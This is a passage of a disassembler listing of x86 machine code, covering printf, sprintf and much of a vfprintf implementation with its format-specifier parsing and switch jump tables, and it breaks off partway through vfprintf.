printf		proc near		; CODE XREF: getanswer+564p
					; getanswer+59Fp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		push	offset unk_8078750
		call	vfprintf
		mov	esp, ebp
		pop	ebp
		retn
printf		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sprintf		proc near		; CODE XREF: main+4D7p	main+A12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ecx
		call	sub_804F820
		mov	esp, ebp
		pop	ebp
		retn
sprintf		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804F820	proc near		; CODE XREF: sprintf+Fp

var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	0
		lea	edi, [ebp+var_60]
		push	edi
		call	sub_8061F34
		mov	[ebp+var_10], offset unk_80787FC
		push	ebx
		push	0FFFFFFFFh
		push	ebx
		push	edi
		call	sub_8052E80
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	vfprintf
		mov	ebx, eax
		add	esp, 24h
		mov	eax, [ebp+var_4C]
		cmp	[ebp+var_48], eax
		ja	short loc_804F870
		push	0
		push	edi
		call	sub_8061910
		jmp	short loc_804F879
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F870:				; CODE XREF: sub_804F820+41j
		mov	eax, [ebp+var_4C]
		mov	byte ptr [eax],	0
		inc	[ebp+var_4C]

loc_804F879:				; CODE XREF: sub_804F820+4Bj
		mov	eax, ebx
		lea	esp, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804F820	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

vfprintf	proc near		; CODE XREF: fprintf+34p printf+10p ...

var_500		= byte ptr -500h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= byte ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_450		= dword	ptr -450h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= byte ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F4		= dword	ptr -3F4h
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= byte ptr -3E8h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4F4h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		cmp	[ebp+arg_0], 0
		jz	loc_8050E68
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFF0000h
		cmp	edx, 0FBAD0000h
		jnz	loc_8050E68
		test	byte ptr [ecx],	8
		jnz	loc_8050E68
		test	esi, esi
		jz	loc_8050E68
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx],	2
		jz	short loc_804F8E4
		mov	edi, [ebp+arg_8]
		push	edi
		push	esi
		push	ebx
		call	sub_8052DE8
		jmp	loc_80529BE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F8E4:				; CODE XREF: vfprintf+47j
		mov	[ebp+var_464], 0
		push	0
		push	0
		push	0
		call	sub_805602C
		add	esp, 0Ch
		mov	[ebp+var_4F0], esi
		cmp	byte ptr [esi],	0
		jz	short loc_804F945
		nop

loc_804F908:				; CODE XREF: vfprintf+BBj
		mov	ecx, [ebp+var_4F0]
		cmp	byte ptr [ecx],	25h
		jz	short loc_804F945
		cmp	byte ptr [ecx],	0
		jge	short loc_804F929
		push	1
		push	ecx
		push	0
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_804F934

loc_804F929:				; CODE XREF: vfprintf+8Ej
		inc	[ebp+var_4F0]
		jmp	short loc_804F93A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F934:				; CODE XREF: vfprintf+9Fj
		add	[ebp+var_4F0], eax

loc_804F93A:				; CODE XREF: vfprintf+A7j
		mov	ebx, [ebp+var_4F0]
		cmp	byte ptr [ebx],	0
		jnz	short loc_804F908

loc_804F945:				; CODE XREF: vfprintf+7Dj vfprintf+89j
		mov	edi, [ebp+var_4F0]
		mov	[ebp+var_45C], edi
		mov	[ebp+var_400], edi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		mov	ebx, [ebp+var_45C]
		sub	ebx, esi
		push	ebx
		push	esi
		push	ecx
		mov	edx, [edx+34h]
		call	edx
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax
		mov	edx, [ebp+var_400]
		cmp	byte ptr [edx],	0
		jz	loc_80529B8
		mov	[ebp+var_460], 0
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_468], edi
		mov	[ebp+var_458], 0FFFFFFFFh
		lea	esi, [esi]

loc_804F9AC:				; CODE XREF: vfprintf+15D4j
		mov	[ebp+var_46C], 0
		mov	[ebp+var_470], 0
		mov	[ebp+var_474], 0
		mov	[ebp+var_478], 0
		mov	[ebp+var_47C], 0
		xor	esi, esi
		mov	[ebp+var_480], 0
		mov	[ebp+var_484], 0
		mov	[ebp+var_48C], 0
		mov	[ebp+var_490], 0FFFFFFFFh
		mov	[ebp+var_494], 20h
		mov	edx, [ebp+var_400]
		inc	edx
		mov	[ebp+var_400], edx
		mov	dl, [edx]
		mov	[ebp+var_4A0], dl
		and	edx, 0FFh
		cmp	edx, 78h	; switch 121 cases 
		ja	loc_8050E7C	; default
		jmp	ds:off_804FA3C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_804FA3C	dd offset loc_8050E72, 1Fh dup(offset loc_8050E7C), offset loc_804FC20
					; DATA XREF: vfprintf+1ABr
		dd 2 dup(offset	loc_8050E7C), offset loc_804FC20, offset loc_8050E7C ; jump table for switch statement
		dd offset loc_8050464, offset loc_8050E7C, offset loc_804FC20
		dd 2 dup(offset	loc_8050E7C), offset loc_804FF30, offset loc_804FC20
		dd offset loc_8050E7C, offset loc_804FC20, offset loc_80500AC
		dd offset loc_8050E7C, offset loc_804FC20, 9 dup(offset	loc_805000C)
		dd 0Bh dup(offset loc_8050E7C),	offset loc_8050974, offset loc_8050E7C
		dd offset loc_8050974, 4 dup(offset loc_8050E7C), offset loc_8050218
		dd 0Bh dup(offset loc_8050E7C),	offset loc_805058C, offset loc_8050E7C
		dd offset loc_8050218, 8 dup(offset loc_8050E7C), offset loc_8050A7C
		dd offset loc_80504A0, 3 dup(offset loc_8050974), offset loc_8050218
		dd offset loc_80504A0, 2 dup(offset loc_8050E7C), offset loc_8050218
		dd offset loc_8050DA0, offset loc_8050D10, offset loc_8050580
		dd offset loc_8050CA4, offset loc_8050218, offset loc_8050E7C
		dd offset loc_8050B34, offset loc_8050E7C, offset loc_8050574
		dd 2 dup(offset	loc_8050E7C), offset loc_805058C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804FC20:				; CODE XREF: vfprintf+1ABj
					; vfprintf+6A2j
					; DATA XREF: ...
		movzx	edx, [ebp+var_4A0] ; case 0x20
		cmp	edx, 78h	; switch 121 cases 
		ja	loc_8050E7C	; default
		jmp	ds:off_804FC38[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_804FC38	dd offset loc_8050E72, 1Fh dup(offset loc_8050E7C), offset loc_804FE1C
					; DATA XREF: vfprintf+3A8r
		dd 2 dup(offset	loc_8050E7C), offset loc_804FE54, offset loc_8050E7C ; jump table for switch statement
		dd offset loc_8050464, offset loc_8050E7C, offset loc_804FE80
		dd 3 dup(offset	loc_8050E7C), offset loc_804FE2C, offset loc_8050E7C
		dd offset loc_804FE3C, offset loc_80500AC, offset loc_8050E7C
		dd offset loc_804FE64, 9 dup(offset loc_805000C), 0Bh dup(offset loc_8050E7C)
		dd offset loc_8050974, offset loc_8050E7C, offset loc_8050974
		dd 4 dup(offset	loc_8050E7C), offset loc_8050218, 0Bh dup(offset loc_8050E7C)
		dd offset loc_805058C, offset loc_8050E7C, offset loc_8050218
		dd 8 dup(offset	loc_8050E7C), offset loc_8050A7C, offset loc_80504A0
		dd 3 dup(offset	loc_8050974), offset loc_8050218, offset loc_80504A0
		dd 2 dup(offset	loc_8050E7C), offset loc_8050218, offset loc_8050DA0
		dd offset loc_8050D10, offset loc_8050580, offset loc_8050CA4
		dd offset loc_8050218, offset loc_8050E7C, offset loc_8050B34
		dd offset loc_8050E7C, offset loc_8050574, 2 dup(offset	loc_8050E7C)
		dd offset loc_805058C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804FE1C:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		mov	[ebp+var_470], 1 ; case	0x20
		jmp	loc_804FF12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804FE2C:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		mov	[ebp+var_478], 1 ; case	0x2b
		jmp	loc_804FF12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804FE3C:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		mov	[ebp+var_474], 1 ; case	0x2d
		mov	[ebp+var_494], 20h
		jmp	loc_804FF12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804FE54:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		mov	[ebp+var_46C], 1 ; case	0x23
		jmp	loc_804FF12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804FE64:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		cmp	[ebp+var_474], 0 ; case	0x30
		jnz	loc_804FF12
		mov	[ebp+var_494], 30h
		jmp	loc_804FF12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804FE80:				; CODE XREF: vfprintf+3A8j
					; DATA XREF: vfprintf+3B0o
		mov	[ebp+var_47C], 1 ; case	0x27
		cmp	[ebp+var_458], 0FFFFFFFFh
		jnz	short loc_804FF12
		mov	edx, dword_8078890
		mov	edx, [edx+10h]
		mov	[ebp+var_4D8], edx
		xor	al, al
		mov	[ebp+var_4EC], edx
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		dec	edx
		push	edx
		mov	ecx, [ebp+var_4D8]
		push	ecx
		lea	edx, [ebp+var_3F8]
		push	edx
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_804FEE6
		mov	edx, dword_8078890
		mov	edx, [edx+10h]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_3F8], edx

loc_804FEE6:				; CODE XREF: vfprintf+64Aj
		mov	edx, dword_8078890
		mov	edx, [edx+14h]
		mov	[ebp+var_458], edx
		cmp	byte ptr [edx],	0
		jz	short loc_804FF08
		cmp	byte ptr [edx],	0FFh
		jz	short loc_804FF08
		cmp	[ebp+var_3F8], 0
		jnz	short loc_804FF12

loc_804FF08:				; CODE XREF: vfprintf+670j
					; vfprintf+675j
		mov	[ebp+var_458], 0

loc_804FF12:				; CODE XREF: vfprintf+59Ej
					; vfprintf+5AEj ...
		mov	edx, [ebp+var_400]
		inc	edx
		mov	[ebp+var_400], edx
		mov	dl, [edx]
		mov	[ebp+var_4A0], dl
		cmp	dl, 2Ah
		jnz	loc_804FC20	; case 0x20

loc_804FF30:				; CODE XREF: vfprintf+1ABj
					; DATA XREF: vfprintf+1B4o
		mov	edx, [ebp+var_400] ; case 0x2a
		inc	edx
		mov	[ebp+var_400], edx
		mov	[ebp+var_3FC], edx
		movzx	edx, byte ptr [edx]
		mov	ebx, dword_8078FA0
		mov	[ebp+var_4E4], ebx
		test	byte ptr [ebx+edx*2+1],	8
		jz	short loc_804FFD6
		add	edx, 0FFFFFFD0h
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_3FC]
		mov	eax, [ebp+var_3FC]
		movzx	edx, byte ptr [eax]
		test	byte ptr [ebx+edx*2+1],	8
		jz	short loc_804FFBE
		mov	[ebp+var_4E4], ebx
		lea	esi, [esi]

loc_804FF80:				; CODE XREF: vfprintf+734j
		mov	edi, [ebp+var_4F0]
		lea	edx, [edi+edi*8]
		lea	edx, [edx+edi-30h]
		mov	[ebp+var_4E0], edx
		movzx	edx, byte ptr [eax]
		add	edx, [ebp+var_4E0]
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_3FC]
		mov	eax, [ebp+var_3FC]
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_4E4]
		test	byte ptr [ecx+edx*2+1],	8
		jnz	short loc_804FF80

loc_804FFBE:				; CODE XREF: vfprintf+6EEj
		cmp	[ebp+var_4F0], 0
		jz	short loc_804FFD6
		mov	edx, [ebp+var_3FC]
		cmp	byte ptr [edx],	24h
		jz	loc_8050E7C	; default

loc_804FFD6:				; CODE XREF: vfprintf+6CFj
					; vfprintf+73Dj
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		mov	ebx, [ebx-4]
		mov	[ebp+var_48C], ebx
		test	ebx, ebx
		jge	loc_805009D
		neg	ebx
		mov	[ebp+var_48C], ebx
		mov	[ebp+var_494], 20h
		mov	[ebp+var_474], 1
		jmp	loc_805009D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805000C:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j
					; DATA XREF: ...
		mov	edx, [ebp+var_400] ; case 0x31
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4F0], edx
		add	[ebp+var_4F0], 0FFFFFFD0h
		inc	[ebp+var_400]
		mov	eax, [ebp+var_400]
		movzx	edx, byte ptr [eax]
		mov	edi, dword_8078FA0
		mov	[ebp+var_4E4], edi
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_8050082

loc_8050044:				; CODE XREF: vfprintf+7F8j
		mov	ecx, [ebp+var_4F0]
		lea	edx, [ecx+ecx*8]
		lea	edx, [edx+ecx-30h]
		mov	[ebp+var_4E0], edx
		movzx	edx, byte ptr [eax]
		add	edx, [ebp+var_4E0]
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_400]
		mov	eax, [ebp+var_400]
		movzx	edx, byte ptr [eax]
		mov	ebx, [ebp+var_4E4]
		test	byte ptr [ebx+edx*2+1],	8
		jnz	short loc_8050044

loc_8050082:				; CODE XREF: vfprintf+7BAj
		mov	edi, [ebp+var_4F0]
		mov	[ebp+var_48C], edi
		mov	edx, [ebp+var_400]
		cmp	byte ptr [edx],	24h
		jz	loc_8050E7C	; default

loc_805009D:				; CODE XREF: vfprintf+760j
					; vfprintf+77Fj
		mov	edx, [ebp+var_400]
		cmp	byte ptr [edx],	2Eh
		jnz	loc_8050218	; case 0x4c

loc_80500AC:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j
					; DATA XREF: ...
		inc	[ebp+var_400]	; case 0x2e
		mov	edx, [ebp+var_400]
		cmp	byte ptr [edx],	2Ah
		jnz	loc_805017C
		inc	[ebp+var_400]
		mov	edx, [ebp+var_400]
		mov	[ebp+var_404], edx
		movzx	edx, byte ptr [edx]
		mov	ecx, dword_8078FA0
		mov	[ebp+var_4E4], ecx
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_8050166
		add	edx, 0FFFFFFD0h
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_404]
		mov	eax, [ebp+var_404]
		movzx	edx, byte ptr [eax]
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_805014E
		mov	[ebp+var_4E4], ecx
		lea	esi, [esi]

loc_8050110:				; CODE XREF: vfprintf+8C4j
		mov	ebx, [ebp+var_4F0]
		lea	edx, [ebx+ebx*8]
		lea	edx, [edx+ebx-30h]
		mov	[ebp+var_4E0], edx
		movzx	edx, byte ptr [eax]
		add	edx, [ebp+var_4E0]
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_404]
		mov	eax, [ebp+var_404]
		movzx	edx, byte ptr [eax]
		mov	edi, [ebp+var_4E4]
		test	byte ptr [edi+edx*2+1],	8
		jnz	short loc_8050110

loc_805014E:				; CODE XREF: vfprintf+87Ej
		cmp	[ebp+var_4F0], 0
		jz	short loc_8050166
		mov	edx, [ebp+var_404]
		cmp	byte ptr [edx],	24h
		jz	loc_8050E7C	; default

loc_8050166:				; CODE XREF: vfprintf+85Fj
					; vfprintf+8CDj
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	ecx, [ecx-4]
		mov	[ebp+var_490], ecx
		jmp	loc_8050218	; case 0x4c
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805017C:				; CODE XREF: vfprintf+833j
		mov	edx, [ebp+var_400]
		movzx	edx, byte ptr [edx]
		mov	ebx, dword_8078FA0
		mov	[ebp+var_4E4], ebx
		test	byte ptr [ebx+edx*2+1],	8
		jz	short loc_805020C
		add	edx, 0FFFFFFD0h
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_400]
		mov	eax, [ebp+var_400]
		movzx	edx, byte ptr [eax]
		test	byte ptr [ebx+edx*2+1],	8
		jz	short loc_80501FE
		mov	[ebp+var_4E4], ebx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80501C0:				; CODE XREF: vfprintf+974j
		mov	edi, [ebp+var_4F0]
		lea	edx, [edi+edi*8]
		lea	edx, [edx+edi-30h]
		mov	[ebp+var_4E0], edx
		movzx	edx, byte ptr [eax]
		add	edx, [ebp+var_4E0]
		mov	[ebp+var_4F0], edx
		inc	[ebp+var_400]
		mov	eax, [ebp+var_400]
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_4E4]
		test	byte ptr [ecx+edx*2+1],	8
		jnz	short loc_80501C0

loc_80501FE:				; CODE XREF: vfprintf+92Dj
		mov	ebx, [ebp+var_4F0]
		mov	[ebp+var_490], ebx
		jmp	short loc_8050218 ; case 0x4c
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805020C:				; CODE XREF: vfprintf+90Ej
		mov	[ebp+var_490], 0
		lea	esi, [esi]

loc_8050218:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	edx, [ebp+var_400] ; case 0x4c
		mov	dl, [edx]
		mov	[ebp+var_4A0], dl
		and	edx, 0FFh
		cmp	edx, 78h	; switch 121 cases 
		ja	loc_8050E7C	; default
		jmp	ds:off_805023C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_805023C	dd offset loc_8050E72, 24h dup(offset loc_8050E7C), offset loc_8050464
					; DATA XREF: vfprintf+9ADr
		dd 1Fh dup(offset loc_8050E7C),	offset loc_8050974, offset loc_8050E7C ; jump table for	switch statement
		dd offset loc_8050974, 4 dup(offset loc_8050E7C), offset loc_8050454
		dd 0Bh dup(offset loc_8050E7C),	offset loc_805058C, offset loc_8050E7C
		dd offset loc_8050444, 8 dup(offset loc_8050E7C), offset loc_8050A7C
		dd offset loc_80504A0, 3 dup(offset loc_8050974), offset loc_8050420
		dd offset loc_80504A0, 2 dup(offset loc_8050E7C), offset loc_805042C
		dd offset loc_8050DA0, offset loc_8050D10, offset loc_8050580
		dd offset loc_8050CA4, offset loc_8050454, offset loc_8050E7C
		dd offset loc_8050B34, offset loc_8050E7C, offset loc_8050574
		dd 2 dup(offset	loc_8050E7C), offset loc_805058C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050420:				; CODE XREF: vfprintf+9ADj
					; DATA XREF: vfprintf+9B4o
		mov	[ebp+var_480], 1 ; case	0x68
		jmp	short loc_8050459
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805042C:				; CODE XREF: vfprintf+9ADj
					; DATA XREF: vfprintf+9B4o
		cmp	[ebp+var_484], 0 ; case	0x6c
		jnz	short loc_8050454 ; case 0x4c
		mov	[ebp+var_484], 1
		jmp	short loc_8050459
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050444:				; CODE XREF: vfprintf+9ADj
					; DATA XREF: vfprintf+9B4o
		xor	esi, esi	; case 0x5a
		mov	[ebp+var_484], 0
		jmp	short loc_8050459
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050454:				; CODE XREF: vfprintf+9ADj
					; vfprintf+BABj
					; DATA XREF: ...
		mov	esi, 1		; case 0x4c

loc_8050459:				; CODE XREF: vfprintf+BA2j
					; vfprintf+BB7j ...
		inc	[ebp+var_400]
		jmp	loc_8050218	; case 0x4c
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050464:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	edi, [ebp+arg_0] ; case	0x25
		mov	edx, [edi+14h]
		cmp	[edi+18h], edx
		ja	short loc_8050488
		push	25h
		push	edi
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0
		jmp	short loc_8050494
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050488:				; CODE XREF: vfprintf+BE5j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		mov	byte ptr [edx],	25h
		inc	dword ptr [ecx+14h]

loc_8050494:				; CODE XREF: vfprintf+BFBj
		inc	[ebp+var_464]
		jmp	loc_8050DC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80504A0:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	[ebp+var_4F0], 0Ah ; case 0x64
		test	esi, esi
		jz	loc_8050538
		add	[ebp+arg_8], 8
		mov	ebx, [ebp+arg_8]
		mov	edi, [ebx-8]
		mov	[ebp+var_4EC], edi
		mov	edi, [ebx-4]
		mov	[ebp+var_4E8], edi
		mov	[ebp+var_488], 0
		cmp	[ebp+var_4E8], 0
		jge	short loc_80504E4
		inc	[ebp+var_488]

loc_80504E4:				; CODE XREF: vfprintf+C54j
		mov	ecx, [ebp+var_4EC]
		mov	[ebp+var_4EC], ecx
		mov	ecx, [ebp+var_4E8]
		mov	[ebp+var_4E8], ecx
		cmp	[ebp+var_488], 0
		jz	short loc_8050518
		neg	[ebp+var_4EC]
		adc	[ebp+var_4E8], 0
		neg	[ebp+var_4E8]

loc_8050518:				; CODE XREF: vfprintf+C7Bj
		mov	ebx, [ebp+var_4EC]
		mov	[ebp+var_49C], ebx
		mov	ebx, [ebp+var_4E8]
		mov	[ebp+var_498], ebx
		jmp	loc_80505D5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050538:				; CODE XREF: vfprintf+C24j
		cmp	[ebp+var_484], 0
		jz	short loc_8050550
		add	[ebp+arg_8], 4
		mov	edi, [ebp+arg_8]
		mov	edx, [edi-4]
		jmp	short loc_805055A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050550:				; CODE XREF: vfprintf+CB7j
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]

loc_805055A:				; CODE XREF: vfprintf+CC3j
		mov	ebx, edx
		shr	ebx, 1Fh
		mov	[ebp+var_488], ebx
		jz	short loc_8050569
		neg	edx

loc_8050569:				; CODE XREF: vfprintf+CDDj
		mov	[ebp+var_49C], edx
		jmp	loc_80506C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050574:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	[ebp+var_4F0], 0Ah ; case 0x75
		jmp	short loc_8050596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050580:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	[ebp+var_4F0], 8 ; case	0x6f
		jmp	short loc_8050596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805058C:				; CODE XREF: vfprintf+1ABj
					; vfprintf+3A8j ...
		mov	[ebp+var_4F0], 10h ; case 0x58

loc_8050596:				; CODE XREF: vfprintf+CF6j
					; vfprintf+D02j
		mov	[ebp+var_488], 0
		mov	[ebp+var_478], 0
		mov	[ebp+var_470], 0
		test	esi, esi
		jz	loc_8050698
		add	[ebp+arg_8], 8
		mov	edi, [ebp+arg_8]
		mov	ecx, [edi-8]
		mov	[ebp+var_49C], ecx
		mov	ecx, [edi-4]
		mov	[ebp+var_498], ecx

loc_80505D5:				; CODE XREF: vfprintf+CA8j
		cmp	[ebp+var_490], 0
		jl	short loc_8050608
		mov	[ebp+var_494], 20h
		cmp	[ebp+var_490], 0
		jnz	short loc_8050612
		cmp	[ebp+var_49C], 0
		jnz	short loc_8050612
		cmp	[ebp+var_498], 0
		jnz	short loc_8050612
		lea	esi, [ebp+var_1]
		jmp	short loc_8050671
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8050608:				; CODE XREF: vfprintf+D54j
		mov	[ebp+var_490], 1

loc_8050612:				; CODE XREF: vfprintf+D64j
					; vfprintf+D6Dj ...
